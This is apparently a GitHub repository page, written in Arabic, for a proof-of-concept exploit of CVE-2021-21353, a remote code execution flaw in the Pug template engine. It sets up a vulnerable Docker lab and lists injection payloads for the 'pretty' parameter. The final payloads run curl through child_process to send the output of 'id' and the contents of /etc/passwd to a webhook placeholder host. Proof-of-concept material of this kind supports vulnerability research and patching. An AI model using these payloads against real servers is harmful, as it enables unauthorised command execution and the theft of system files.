jinsu9758/pug-rce-cve-2021-21353-pocاستغلال إثبات المفهوم لـ CVE-2021-21353، وهي ثغرة تنفيذ التعليمات البرمجية عن بُعد في محرك قوالب Pug الإصدارات <=3.0.0. يوضح حقن الحمولة عبر معلمة 'pretty' لتنفيذ أوامر عشوائية.
رقم CVE : cve-2021-21353
درجة CVSS : 8.1
< الإصدارات المعرضة للخطر >
pug_version <= 3.0.0
2.0.3 < pug-code-gen version, 3.0.0<= pug-code-gen version < 3.0.2
git clone https://github.com/jinsu9758/PUG-RCE-CVE-2021-21353-POC.git
cd PUG-RCE-CVE-2021-21353-POC
sudo docker compose up
※ يمكن الوصول عبر المنفذ 3000
اختبار الحمولة
?pretty=');console.log('executed');//
الحمولة النهائية
?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(id)\" <webhook_site>');_=('
?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(cat /etc/passwd)\" <webhook_site>');_=('
